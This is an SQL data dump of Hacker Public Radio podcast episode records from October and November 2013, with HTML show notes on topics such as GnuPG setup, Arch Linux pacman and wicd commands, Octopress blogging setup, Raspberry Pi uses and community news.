(1357,'2013-10-15','Whats in my bag, and other stories',1245,'A minimalist carry; travelling light','<p>In the show I discuss my philosophy of travelling light, how to travel without baggage or computers, how to setup disposable accounts and protect your accounts from compromise. Also I talk about how I am adjusting to living without a car in Kansas, and other topics.</p>\n <ul>\n  <li>Install fest link :<a href=\"https://installfestlawrence-eorg.eventbrite.com/\">https://installfestlawrence-eorg.eventbrite.com/</a></li>\n  <li>Call for help on a FLOSS Conference in Kansas :<a href=\"https://fmtyewtk.blogspot.com/2013/08/freelibre-open-source-software-open.html\">https://fmtyewtk.blogspot.com/2013/08/freelibre-open-source-software-open.html</a></li>\n  <li>My twitter :<a href=\"https://twitter.com/h4ck3rm1k3\">https://twitter.com/h4ck3rm1k3</a></li>\n  <li>Uploaded show to wikimedia commons <a href=\"https://commons.wikimedia.org/wiki/File:HPR-h4ck3rm1k3-2013-09-22-Whatsinmybag.ogg\">https://commons.wikimedia.org/wiki/File:HPR-h4ck3rm1k3-2013-09-22-Whatsinmybag.ogg</a></li>\n  <li>youtube : <a href=\"https://www.youtube.com/watch?v=oWgEXfsXfew\">https://www.youtube.com/watch?v=oWgEXfsXfew</a></li>\n </ul>',260,23,0,'CC-BY-SA','\"public transport\"',0,1611,1),
(1358,'2013-10-16','How to set up GnuPG, a PGP-compliant encryption system',3107,'Setting up GnuPG for use with Thunderbird and Mutt','<p>\r\nKlaatu explains how to set up GnuPG, a PGP-compliant encryption\r\nsystem, and use it with both Thunderbird and Mutt mail clients.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<p>\r\nSet up GnuPG: <a href=\"https://straightedgelinux.com/blog/howto/setupgnupg.html\"     target=\"_blank\">https://straightedgelinux.com/blog/howto/setupgnupg.html</a>\r\n</p>\r\n<p>\r\nUsing Mutt: <a href=\"https://straightedgelinux.com/blog/howto/mutt.html\" target=\"_blank\">https://straightedgelinux.com/blog/howto/mutt.html</a>\r\n</p>\r\n<p>\r\nKlaatu\'s\r\nhumble dot-muttrc file: <a href=\"https://gnuworldorder.info/dot-muttrc\">https://gnuworldorder.info/dot-muttrc</a> (there are better ones out there)\r\n</p>\r\n\r\n<p>\r\nKlaatu\'s <a href=\"https://gnuworldorder.info/public_key.asc\">public key</a>\r\n</p>\r\n',78,0,0,'CC-BY-SA','encryption,PGP,GnuPG,Thunderbird,Mutt',0,1710,1),
(1359,'2013-10-17','Pipes',1015,'How to fill and smoke a pipe','<p>\r\nIn this episode I take a look at a \"low-tech\" pasttime. In the spirit of the campfire episode and the bread baking episode, I give a simple episode about filling and smoking a pipe (tobacco, not 420!).\r\n</p>\r\n<h2>Images:</h2>\r\n<p>\r\n<a href=\"https://imgur.com/a/wYTf3#0\">https://imgur.com/a/wYTf3#0</a>\r\n</p>',255,0,0,'CC-BY-SA','pipes,smoking,tobacco,howto',0,1589,1),
(1360,'2013-10-18','HPR Community News For September2013',6865,'HPR Community News For September 2013','<h2>New hosts</h2>\r\n <p>Welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\">Gabriel Evenfire</a>,\r\n and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=260\">James Michael DuPont (h4ck3rm1k3)</a>.</p>\r\n <h2>Show Updates</h2>\r\n <table>\r\n  <thead>\r\n   <tr>\r\n    <th>id</th>\r\n    <th>date</th>\r\n    <th>title</th>\r\n    <th>host</th>\r\n   </tr>\r\n  </thead>\r\n  <tbody>\r\n   <tr>\r\n    <td>1326</td>\r\n    <td>2013-09-02</td>\r\n    <td>What\'s in my bag</td>\r\n    <td>jrobb</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1327</td>\r\n    <td>2013-09-03</td>\r\n    <td>Frank Bell Bakes Bread</td>\r\n    <td>Frank Bell</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1328</td>\r\n    <td>2013-09-04</td>\r\n    <td>A Hacker\'s Perspective On Schizophrenia</td>\r\n    <td>sigflup</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1329</td>\r\n    <td>2013-09-05</td>\r\n    <td>TGTM Newscast for 2013-13-08</td>\r\n    <td>Tgtm News Team</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1330</td>\r\n    <td>2013-09-06</td>\r\n    <td>Programming languages 3 - C</td>\r\n    <td>garjola</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1331</td>\r\n    <td>2013-09-09</td>\r\n    <td>A Tale of Chroot</td>\r\n    <td>NYbill</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1332</td>\r\n    <td>2013-09-10</td>\r\n    <td>Jingles</td>\r\n    <td>Stitch</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1333</td>\r\n    <td>2013-09-11</td>\r\n    <td>Introduction / How I Got Into Linux</td>\r\n    <td>Matt McGraw (g33kdad)</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1334</td>\r\n    <td>2013-09-12</td>\r\n    <td>Open Sourcing Mental Illness - Ed Finkler</td>\r\n    <td>Ken Fallon</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1335</td>\r\n    <td>2013-09-13</td>\r\n    <td>LibreOffice 11 Writer Character Styles</td>\r\n    <td>Ahuka</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1336</td>\r\n    <td>2013-09-16</td>\r\n    <td>The Rosetta Dream</td>\r\n    <td>Julian Neuer</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1337</td>\r\n    <td>2013-09-17</td>\r\n    <td>overdrive</td>\r\n    <td>sigflup</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1338</td>\r\n    <td>2013-09-18</td>\r\n    <td>Pumped Pi\'s</td>\r\n    <td>NYbill</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1339</td>\r\n    <td>2013-09-19</td>\r\n    <td>Legacy Technology: My Victrola</td>\r\n    <td>Jon Kulp</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1340</td>\r\n    <td>2013-09-20</td>\r\n    <td>Out and about at OHM 2013</td>\r\n    <td>Ken Fallon</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1341</td>\r\n    <td>2013-09-23</td>\r\n    <td>TGTM Newscast for 2013-08-25</td>\r\n    <td>Tgtm News Team</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1342</td>\r\n    <td>2013-09-24</td>\r\n    <td>Power Tool Drag Racing!</td>\r\n    <td>MrGadgets</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1343</td>\r\n    <td>2013-09-25</td>\r\n    <td>Too Clever For Your Own Good</td>\r\n    <td>laindir</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1344</td>\r\n    <td>2013-09-26</td>\r\n    <td>Filming a Dinosaur egg hatching</td>\r\n    <td>Ken Fallon</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1345</td>\r\n    <td>2013-09-27</td>\r\n    <td>LibreOffice 12 Writer List Styles Introduced</td>\r\n    <td>Ahuka</td>\r\n   </tr>\r\n   <tr>\r\n    <td>1346</td>\r\n    <td>2013-09-30</td>\r\n    <td>How to properly evangelize linux or why I use linux as my daily driver.</td>\r\n    <td>Riley Gelwicks (glwx)</td>\r\n   </tr>\r\n  </tbody>\r\n </table><pre>\r\nStarted:  7 years, 6 months, 22 days ago\r\nRenamed HPR:  5 years, 3 months, 29 days ago\r\nTotal Shows:  1685\r\nTotal TWAT: 300\r\nTotal HPR:  1385\r\nHPR Hosts:  202\r\nNext free slot: 13\r\nHosts in Queue: 9\r\nShows in Queue: 12\r\nSeptember Downloads: 75,774\r\n<a href=\"https://hackerpublicradio.org/report.bz2\">https://hackerpublicradio.org/report.bz2</a>\r\n</pre><h2>Host Pages</h2>\r\n <p>Should we update the host pages to include information like PGP Key, a photo etc.</p>\r\n <h2>TGTM as a general newscast now over</h2><pre>\r\nHey, Ken,\r\n\r\nI just published TGTM news #103, which is my explanation of its\r\nclosure and next month\'s new format.  I now plan to do two audios a\r\nmonth, one tech piece for HPR and one non-tech for my personal site.\r\n\r\nCould you please announce this in the next HPR community news, as well\r\nas putting this link in the show notes:\r\n\r\n<a href=\"https://www.talkgeektome.us/tgtmnews-103.xhtml\">https://www.talkgeektome.us/tgtmnews-103.xhtml</a>\r\n\r\nyours, \r\n---\r\nDeepGeek\r\n</pre><h2>Other News</h2>\r\n <ul>\r\n  <li>Is it Spam ?</li>\r\n  <li>Mumble HPR - a show about banners, stickers, and HPR tables at events like Linux Fests etc.</li>\r\n  <li>Upcoming Series on \"Units\": Help with Medical Maths? Help with the units used in medicine dosages.</li>\r\n  <li>Fix for the HPR Calendar Page</li>\r\n  <li>Nutters</li>\r\n  <li>Audio Quality Manifesto</li>\r\n  <li>Creative Commons</li>\r\n  <li>Put shows in the FTP root, just [A-Za-z09]</li>\r\n  <li>Return of reserved slot ?</li>\r\n  <li>The free software song <a href=\"https://www.gnu.org/music/free-software-song.html\">https://www.gnu.org/music/free-software-song.html</a></li>\r\n </ul>\r\n',159,47,1,'CC-BY-SA','Community News',0,1569,1),
(1361,'2013-10-21','SFS and Linux Camp',1197,'Software Freedom School helps anyone interested in expanding their knowledge of free software','<p>\r\nHostname and email address: David Willson <a href=\"mailto:DLWillson@thegeek.nu\">DLWillson@thegeek.nu</a> , Gary (Garheade) Romero <a href=\"mailto:GARomero@thegeek.nu\">GARomero@thegeek.nu</a>, Troy Ridgley <a href=\"mailto:TRRidgley@thegeek.nu\">TRRidgley@thegeek.nu</a>\r\n</p>\r\n<p>\r\nThe Software Freedom Society/School is a local movement to help anyone interested in expanding their knowledge of free software. Linux Camp, the latest success of SFS is discussed along with several of our other past and future projects.\r\n</p>\r\n<p>\r\nWe hope to do another show soon, a Linux Camp Radio Show. We said in this interview that Linux Camp was a series of \"real world task\" labs, and we think that with a little work, they would make a good radio show. A show that an aspiring Linux SysAdmin, especially one that is studying for the LPIC-1 exams, could use as a list of challenge tasks to reinforce their skills.\r\n</p>\r\n<p>\r\nThis is the book that we\'re using in our study groups:\r\n</p>\r\n<pre>\r\n  CompTIA Linux+ Study Guide\r\n  Publication Date: January 14, 2013\r\n  ISBN-10: 1118531744\r\n  ISBN-13: 978-1118531747\r\n</pre>\r\n<p>\r\nThe Linux Camp document is here for now:\r\n</p>\r\n<p>\r\n  <a href=\"https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt\">https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt</a>\r\n</p>\r\n<p>\r\nEventually, we\'ll clean it up and put it on our website.\r\n</p>\r\n<p>\r\nOur goal is to build a fully free (libre) knowledge-sharing group with learning and payment options that work for everyone, from the penny-pinching enthusiast to the well-funded professional.\r\n</p>\r\n<p>\r\nTo that end, we want your suggestions and welcome your feedback!\r\n</p>\r\n<p>\r\nTo find out more about SFS and it\'s upcoming projects, go to: <a href=\"https://www.sofree.us\">https://www.sofree.us</a>\r\n</p>\r\n<p>\r\nTo give feedback, leave a comment here or email any of the authors above. To join the conversation, send the word \"subscribe\" by email to <a href=\"mailto:sfs-request@thegeek.nu\">sfs-request@thegeek.nu</a>.\r\n</p>',261,0,0,'CC-BY-SA','SFS,Software Freedom School,Linux Camp',0,1504,1),
(1362,'2013-10-22','Fixing a bad RSS feed',1267,'Perl scripts to modify broken RSS feeds on the fly','<p>\r\nThere have been problems with the podcast feed for \"mintCast\",\r\napparently as a result of a bug in Wordpress. The feed contains\r\nmultiple \"enclosure\" tags containing the same audio over and over\r\nagain. While the mintCast hosts are looking for a fix I would like to\r\nfind a local work-around.\r\n</p>\r\n<p>\r\nI have also encountered a problem with the \"Pod Delusion Extra\" feed\r\nwhich contains multiple enclosures in some episodes. Unlike the\r\n\"mintCast\" example I don\'t want to lose these enclosures but want to\r\nfind a way of repackaging them into individual episodes.\r\n</p>\r\n<p>\r\nThese problems affect some podcatchers, the modified Bashpodder I use\r\nbeing amongst them. To counteract this problem I have written two\r\nshort Perl scripts to copy and clean each feed before submitting it to\r\nmy podcatcher.\r\n</p>\r\n<p>\r\nDetailed notes: \r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr1362/Dealing_with_bad_RSS_feeds.html\">https://www.hackerpublicradio.org/eps/hpr1362/Dealing_with_bad_RSS_feeds.html</a>\r\n</p>',225,0,1,'CC-BY-SA','RSS,Perl,podcast,scripting',0,1509,1),
(1363,'2013-10-23','Some pacman Tips By Way of Repacing NetworkManager With WICD',1177,'So you\'ve just installed Arch Linux now what? Arch Lessons from a Newbie Ep 02: Some pacman tips','<p>A while back, I used my Arch laptop to pre-configure a router for a customer, which of course required me set up a static IP on my eth0. I should have done this from the command line, instead I used the graphical Network Manager. I had a lot of trouble getting the graphical application to accept a change in IP, and in getting to go back to DHCP when I was done, and I wound up going back and forth between the Network Manager and terminal commands. I\'ve mentioned before my ISP is behind two NATed networks, the router in the outbuilding where the uplink to the ISP is (this is also the network my server is on) and the router in my house. The static IP I used for the customer router configuration was in the same address range as my \"outside\" network Though I successfully got eth0 back on DHCP, there was a phantom adapter still out there on the same range as the network my server was on, preventing me from ssh\'ing in. I did come across a hack, if I set eth0 to an IP and mask of all zeros, then stopped and started dhcpcd on eth0, I could connect. I had also used the laptop on a customer\'s WiFi recently, and the connection was horrible.</p>\n <p>I decided to see if just installing the wicd network manager would clear everything up (and it did), but before installing Wicd, I had to update the system, so first a little bit about pacman</p>\n <p>Arch\'s primary package manager is pacman. The -S operator is for sync operations, including package installation, for instance:</p><pre>\n<code># sudo pacman -S &lt;package_name&gt;</code>\n</pre> ..... installs a package from the standard repos and is more or less equivalent to the Debian instruction .... <pre>\n<code># sudo apt-get install &lt;package_name&gt;</code>\n</pre> The option -y used with -S refreshes the master package list and -u updates all out of date packages, so the command <pre>\n<code>\n# sudo pacman -Syu .... is equivalent to the Debian instruction .... \n# sudo apt-get update .... followed by .... \n# sudo apt-get upgrade\n# sudo pacman -Syu &lt;package_name1&gt; &lt;package_name2&gt;\n</code>\n</pre> would update the system, then install the selected packages<br /> Perhaps because of my slow Internet, the first time through a few of the update packages timed out without downloading, so nothing installed. The second time through, even one of the repos didn\'t refresh. Thinking this was a connectivity problem, I kept trying the same update command over and over. Finally, I enlisted the help of Google.<br /> \'pacman -Syy\' forces a refresh of all package lists \"even if they appear to be up to date\". This seems to automagically fix the timeout and connection problems, and the next time I ran the update, it completed without complaint. I was mad at myself when I found the solution, because I remember I\'d had the exact same problem and the exact same solution before and had forgotten them. Podcasting your errors is a great way of setting them in your memory.<br /> About the same time, I ran out of space on my 10Gb root partition. I remembered Peter64 had a similar problem, but I found a different solution than he did.<br /><pre>\n<code># sudo pacman -Sc</code>\n</pre> .... cleans packages that are no longer installed from the pacman cache as well as currently unused sync databases to free up disk space. I got 3Gb back! \'pacman -Scc\' removes all files from the cache.<br /><a href=\"https://wiki.archlinux.org/index.php/Wicd\">https://wiki.archlinux.org/index.php/Wicd</a><br /> Use pacman to install the package \'wicd\' and if you want a graphical front end, \'wicd-gtk\' or \'wicd-kde\' (in the AUR). For network notifications, install \'notification-daemon\', or the smaller \'xfce4-notifyd\' if you are NOT using Gnome.<br /> None of this enables wicd or makes it your default network manager on reboot, that you must do manually. First, stop all previously running network daemons (like netctl, netcfg, dhcpcd, NetworkManager) you probably won\'t have them all. Lets assume for the rest of the terminal commands, you are root, then do: <pre>\n<code># systemctl stop &lt;package_name&gt; i.e # systemctl stop NetworkManager</code>\n</pre><br /> Then we have to disable the old network tools so they don\'t conflict with wicd on reboot. <pre>\n<code># systemctl disable &lt;package_name&gt; i.e. # systemctl disable NetworkManager</code>\n</pre><br /> Make sure your login is in the users group <pre>\n<code># gpasswd -a USERNAME users</code>\n</pre><br /> Now, we have to initialize wicd <pre>\n<code># systemctl start wicd.service\n# wicd-client</code>\n</pre><br /> Finally, enable wicd.service to load on your next boot up <pre>\n<code># systemctl enable wicd.service</code>\n</pre>',131,0,0,'CC-BY-SA','Arch,pacman,wicd',0,1485,1),
(1364,'2013-10-24','Vintage Tech Iron Pay Phone Coin Box',1027,'How the money was tallied in old payphones','<p>A review of vintage tech, in the form of an iron pay phone coin box.</p>\n <p><img alt=\"photo of Vintage_Tech_Iron_Pay_Phone_Coin_Box\" src=\"https://hackerpublicradio.org/eps/hpr1364/hpr1364_1of5.jpg\" /><br /><img alt=\"photo of Vintage_Tech_Iron_Pay_Phone_Coin_Box\" src=\"https://hackerpublicradio.org/eps/hpr1364/hpr1364_2of5.jpg\" /><br /><img alt=\"photo of Vintage_Tech_Iron_Pay_Phone_Coin_Box\" src=\"https://hackerpublicradio.org/eps/hpr1364/hpr1364_3of5.jpg\" /><br /><img alt=\"photo of Vintage_Tech_Iron_Pay_Phone_Coin_Box\" src=\"https://hackerpublicradio.org/eps/hpr1364/hpr1364_4of5.jpg\" /><br /><img alt=\"photo of Vintage_Tech_Iron_Pay_Phone_Coin_Box\" src=\"https://hackerpublicradio.org/eps/hpr1364/hpr1364_5of5.jpg\" /><br />\n </p>',131,0,0,'CC-BY-SA','\"vintage technology\",\"mechanical savings bank\",\"payphone coin box\"',0,1695,1),
(1366,'2013-10-28','What I do with my Raspberry Pi',1746,'Some suggested uses the Rasperry Pi can be put to','<p>\r\nUse case 1: Astronomy computer\r\n</p>\r\n<p>\r\nDobsonian telescope <a href=\"https://en.wikipedia.org/wiki/Dobsonian_telescope\">https://en.wikipedia.org/wiki/Dobsonian_telescope</a>\r\n</p>\r\n<p>\r\nKstars desktop planetarium and star chart program (should be in most distributions repositories as one of the KDE education packages) <a href=\"https://edu.kde.org/kstars/\">https://edu.kde.org/kstars/</a>\r\n</p>\r\n<p>\r\nThe Messier catalog <a href=\"https://messier.seds.org/\">https://messier.seds.org/</a>\r\nThe Messier marathon <a href=\"https://messier.seds.org/xtra/marathon/marathon.html\">https://messier.seds.org/xtra/marathon/marathon.html</a>\r\n</p>\r\n<p>\r\nTexas Star Party amateur telescope making page <a href=\"https://texasstarparty.org/activities/atm/2013-2/\">https://texasstarparty.org/activities/atm/2013-2/</a> my entry is about 2/3s of the wat down the page and you can see the Motorola lapdock mounted on my 20 inch (50.8 cm) dobsonian telescope on the right of the photo (the Raspberry Pi is behind the screen of the lapdock).  The whole telescope isn\'t shown, it\'s about 9 feet (2.75 meters) tall.\r\n</p>\r\n<p>\r\nUse case 2: Home server\r\n</p>\r\n<p>\r\nMashpodder podcast catcher: <a href=\"https://code.google.com/p/mashpodder/\">https://code.google.com/p/mashpodder/</a>\r\nBashpodder: <a href=\"https://lincgeek.org/bashpodder/\">https://lincgeek.org/bashpodder/</a>\r\n</p>\r\n<p>\r\nRsync programs I\'m using on Android\r\nBotsync SSH SFTP <a href=\"https://botsync.com/\">https://botsync.com/</a> simple to setup\r\nRsync backup for Android <a href=\"https://android.kowalczuk.er/rsync4android/\">https://android.kowalczuk.er/rsync4android/</a> full featured and uses dropbear ssh keys for authentication.  Between recording the audio and writing the show notes, I switched completely to using Rsync backup to sync my podcasts to my Galaxy S4 phone\r\n</p>\r\n<p>\r\nNot mentioned on the podcast but the audio player I\'m using on Android is Music Folder Player <a href=\"https://sites.google.com/site/zorillasoft/\">https://sites.google.com/site/zorillasoft/</a>\r\n</p>\r\n<p>\r\nThat gui admin tool for samba I couldn\'t remember while recording: gadmin-samba (useful tool despite my PEBCAK problem) <a href=\"https://freecode.com/projects/gadmin-samba\">https://freecode.com/projects/gadmin-samba</a>\r\n</p>\r\n<p>\r\nCalibre ebook management tool <a href=\"https://calibre-ebook.com/\">https://calibre-ebook.com/</a>\r\n</p>\r\n<p>\r\nDistributions discussed\r\nRaspbian <a href=\"https://www.raspbian.org/\">https://www.raspbian.org/</a> Debian for the Raspberry Pi\r\nPiBang <a href=\"https://pibanglinux.org/\">https://pibanglinux.org/</a> Raspbian derivative using openbox and conky setup from Crunchbang\r\nCrunchbang <a href=\"https://crunchbang.org/\">https://crunchbang.org/</a> No cruft linux distribution based on debian with Openbox and a great conky configuration (audio and show notes for this podcast edited on laptop running Crunchbang). \r\n</p>',262,0,1,'CC-BY-SA','raspberry pi,raspbian,pibang,crunchbang,astronomy,kstars,mashpodder,bashpodder,calibre',0,1823,1),
(1367,'2013-10-29','I\'m Sorry Dan',608,'jezra is sorry ','<p>\r\nHow many times has Dan asked me to run the spec test before pushing code to staging? probably 5. I\'m sorry Dan.\r\n</p>\r\n<p>\r\nThe script I used as my pre-commit hook is available at <a href=\"https://hoof.jezra.net/snip/of\">https://hoof.jezra.net/snip/of</a>\r\n</p>\r\n<p>\r\nOh, have I ever mentioned how much I dislike convoluted nomenclature?\r\nWhen I use \'git add\', apparently I am adding a file or a change to the \'index\',\r\nand it is the index that gets commited when I run \'git commit\'\r\n</p>',243,0,0,'CC-BY-SA','git,hook,\"pre-commit hook\"',0,1483,1),
(1368,'2013-10-30','How to Fold a Fitted Sheet',809,'You might think that folding a fitted sheet neatly is a challenge. Not Jon Kulp, he shows us how','<h2 id=\"howtofoldafittedsheet\">How to Fold a Fitted Sheet</h2>\r\n\r\n<p>In this episode I try to teach you how to fold a fitted sheet,\r\nsomething that could earn you sheet-folding duties for the rest\r\nof your life.\r\n<!--\r\nSee the photo gallery at <a href=\"https://pics.jonkulp.net/index.php?/category/17\">https://pics.jonkulp.net/index.php?/category/17</a>.\r\n-->\r\nSee the photo gallery at <a href=\"https://hackerpublicradio.org/eps/hpr1368/\">https://hackerpublicradio.org/eps/hpr1368/</a>.\r\n</p>\r\n<p>[<em><small>Pictures recovered and uploaded to HPR 2015-06-19</small></em>]</p>\r\n',238,0,0,'CC-BY-SA','fitted sheet,folding',0,1467,1),
(1369,'2013-10-31','NaNoWriMo Prep',812,'twitter handle is whitehatmatt','<p>\r\nI was prepping for National November Writing month (NaNoWriMo), and realized that I hadn\'t contributed a show in several years. I thought I would give a rundown on what NaNoWriMo is and what tools I use to write with. NaNoWriMo is where people get together to each write a 50,000 word novel rough draft in 30 days. It\'s not an easy task, and there are some tricks and tools that will help. My focus is on minimalism.\r\n</p>\r\n<p>\r\nFocus Writer = <a href=\"https://gottcode.org/focuswriter\">https://gottcode.org/focuswriter</a><br />\r\nNaNoWriMo = <a href=\"https://nanowrimo.org/\">https://nanowrimo.org/</a>\r\n</p>\r\n	',145,0,1,'CC-BY-SA','writing,NaNoWriMo,\"Focus Writer\"',0,1406,1),
(1370,'2013-11-01','Blogging With Octopress',1511,'Using Octopress to create a blog with tools already familiar to you as a hacker.','<h1>Blogging with Octopress</h1>\r\n\r\n<p>Static html site generators automate many of the tedious steps that are necessary\r\nto create website.  Octopress is a static html generator that automates many of the tedious tasks of static html site generators, and comes with a number of reasonable presets, configured right out of the box.</p>\r\n\r\n<h2>Static HTML Site Generators I looked at:</h2>\r\n<ul>\r\n<li>Jekyll: <a href=\"https://jekyllrb.com\">https://jekyllrb.com/</a></li>\r\n<li>Jekyll-bootsrap: <a href=\"https://jekyllbootstrap.com/\">https://jekyllbootstrap.com/</a></li>\r\n<li>Pelican: <a href=\"https://docs.getpelican.com/en/3.3.0/\">https://docs.getpelican.com/en/3.3.0/</a></li>\r\n<li>Templer: <a href=\"https://www.steve.org.uk/Software/templer/\">https://www.steve.org.uk/Software/templer/</a> (<a href=\"https://hackerpublicradio.org/eps.php?id=1203\">HPR1203</a>)</li>\r\n<li>Octopress: <a href=\"https://octopress.org\">https://octopress.org</a></li>\r\n</ul>\r\n<p>\r\n     I settled on octopress for the following reasons:\r\n</p>\r\n<dl>\r\n<dt>SASS</dt>\r\n<dd>\r\n      Sass adds additional functionality to css such as variables, mixins, \r\n      scopes, and was a tool that I had previously worked with.</dd>\r\n<dt>Twitter Bootstrap</dt>\r\n<dd>\r\n      Twitter bootstrap is a set of templates that produce nice looking \r\n      pages that are standards compliant, and adaptive so that they look \r\n      good at any screen resolution. </dd>\r\n\r\n<dt>HTML5 Video Plugin</dt>\r\n<dd>\r\n      I ended up creating my own, but Octopress has a HTML5 video plugin.  \r\n      Unfortunately this only supported H264 video, so I created my own to \r\n      serve H264, Webm, and Ogv.</dd>\r\n\r\n<dt>Deployment scripts</dt>\r\n<dd>\r\n      Octopress comes with rsync, and github pages support out of the box, \r\n      so you can deploy your site with very little effort.</dd>\r\n</dl>\r\n \r\n<h2>Requirements:</h2>\r\n<ul>\r\n<li>Ruby 1.9.3 or above</li>\r\n<li>Git</li>\r\n<li>HTML knowledge</li>\r\n<li>Text Editor &amp; Terminal</li>\r\n</ul>\r\n\r\n<h3>Install Requirements:</h3>\r\n<p>In Ubuntu 12.04 I did the following:</p>\r\n\r\n<pre>\r\nsudo apt-get install emacs git zlib1g-dev openssl libopenssl-ruby1.9.1 \\\r\nlibssl-dev libruby1.9.1 libreadline-dev\r\n</pre>\r\n\r\n<h3>Install ruby through rbenv</h3>\r\n\r\n<p>rbenv (<a href=\"https://rbenv.org\">https://rbenv.org</a>)</p>\r\n<pre>\r\ngit clone https://github.com/sstephenson/rbenv.git ~/.rbenv\r\n# set environment in ~/.bash_profile.  Change this to ~/.zshrc if using zshell\r\necho \'export PATH=\"$HOME/.rbenv/bin:$PATH\"\' >> ~/.bash_profile\r\necho \'eval \"$(rbenv init -)\"\' >> ~/.bash_profile\r\nsource ~/.bash_profile # You can change to .zshrc or .bashrc\r\n</pre>\r\n\r\n<p>Install ruby-build to make installing ruby easy</p>\r\n<pre>\r\ngit clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build\r\n</pre>\r\n\r\n<p>Install ruby</p>\r\n<pre>\r\nrbenv install 1.9.3-p194\r\nrbenv rehash\r\n</pre>\r\n\r\n<h2>Octopress</h2>\r\n<p><a href=\"https://octopress.org\">https://octopress.org</a>\r\n<h3>Install Octopress</h3>\r\n<pre>\r\ngit clone git://github.com/imathis/octopress.git octopress\r\ncd octopress\r\nrbenv local 1.9.3-p194  \r\n</pre>\r\n\r\n<h3>Install Ruby Requirements</h3>\r\n<pre>\r\ngem install bundler\r\nrbenv rehash\r\nbundle install  \r\n</pre>\r\n\r\n\r\n<h3>What is rake?</h3>\r\n<p>Rake is like make but for ruby. </p>\r\n\r\n<h4>Use rake scripts to setup and preview blog</h4>\r\n<pre>\r\nrake -T # list all available rake tasks\r\nrake install # install themes and default config\r\nrake preview # generate and view site\r\n</pre>\r\n\r\n<p>Open localhost:4000 in your webbrowser</p>\r\n\r\n<h3>Setup Deployment</h3>\r\n<pre>\r\nrake set_root_dir[\'blog-test\']\r\nrake setup_github_pages \r\nrake generate\r\n# Change the following url to point to your repository\r\ngit remote add origin https://github.com/HarryGuerilla/blog-test.git\r\ngit config branch.master.remote origin\r\ngit add .\r\ngit commit -m \"initial commit\"\r\ngit push origin master\r\nrake deploy # this is where the magic happens\r\n</pre>\r\n\r\n\r\n<h3>Configure Blog</h3>\r\n<pre>\r\nemacs _config.yml\r\n# Edit title, author, subtitle\r\n</pre>\r\n\r\n<h3>Create First Post &amp; Basic workflow:</h3>\r\n<pre>\r\nrake new_post\r\nemacs post\r\ngit add .\r\ngit commit -m \"added new post\"\r\n</pre>\r\n\r\n<h3>Publish Blog</h3>\r\n<pre>\r\nrake deploy\r\n</pre>',263,0,0,'CC-BY-SA','Blogging, html, Static HTML,Website',0,1538,1),
(1371,'2013-11-04','The Lost Banner of HPR',2682,'The sad tale of the lost HPR banner, and what to do next','<p>Pokey - Patrick Dailey (pdailey03 @@ gmail-dot-com) David Whitman davidWHITMAN (davidglennwhitman @@ gmail-dot-com)</p>\r\n <p>The HPR Booth Banner is LOST! Shipped to wrong address and \'POOF\' its gone! What should we do in the future? Buy 2 replacement banners or extra frames What about something doing something else?</p>\r\n <p>Pokey saw a really lightweight banner in a bank -</p>\r\n <p>Equipment that is nice to have to do a Linux Fest (Pokey has done 3 HPR Tables at Linux Fests -David has done tables two years at Linux Fest Northwest)</p>\r\n <ol>\r\n  <li>Backdrop</li>\r\n  <li>Table Cloth</li>\r\n  <li>Stickers and other swag to hand out</li>\r\n  <li>A H1 Zoom or other recording device</li>\r\n </ol>\r\n <p>David owes a Coffee Mug design to the HPR Community - Richard Q did some graphics and David is lazy or busy and has not got it done.</p>\r\n <p>Stickers available at 123stickers.com</p>\r\n <p>Business Cards moo.com HPR Nosy Guy HPR Ovals Pictures from Picture Prints (easy to do and cheap!) Tee Shirts Green HPR Round Sticker HPR Mini Bumper Sticker Buttons (Old School and no longer available) Do Your Own art work</p>\r\n <p>QRCode book of all episodes 23:50</p>\r\n <p>HPR has had no table at SCALE</p>\r\n <p>David wants to add Sonar to the table content</p>\r\n <p>Banner Defined - The one Pokeys Mom made is still not lost</p>\r\n <p>There should be a PDF with these show notes that has a shitty logo page so you can see some stickers that can be ordered. The stickers are very good quality as are the T-shirts. Richard Querin and others have done the artwork.</p>\r\n <p><a href=\"https://hackerpublicradio.org/eps/hpr1371.pdf\">https://hackerpublicradio.org/eps/hpr1371.pdf</a></p>',128,0,1,'CC-BY-SA','hpr,banner',0,1445,1),
(1377,'2013-11-12','Zareason ZaTab 2 Android Tablet',1415,'Frank Bell discusses the Zareason ZaTab ZT2 Tablet, an open, rooted Android tablet.','\r\n<p>\r\nFrank Bell discusses the Zareason ZaTab ZT2 Tablet, an open, rooted Android tablet.                                                                                                                 \r\n</p>\r\n<p>\r\nZaTab 2 on the web:  <a href=\"https://zareason.com/shop/ZaTab-ZT2.html\">https://zareason.com/shop/ZaTab-ZT2.html</a>                                                                                                                                        \r\n</p>\r\n<p>\r\nTWUUG Handout about the ZaTab 2 (PDF):  <a href=\"https://pineviewfarm.net/misc/HO_TWUUG_ZaTab.pdf\">https://pineviewfarm.net/misc/HO_TWUUG_ZaTab.pdf</a>\r\n</p>',195,0,0,'CC-BY-SA','Tablet,Android,Zareason',0,1623,1),
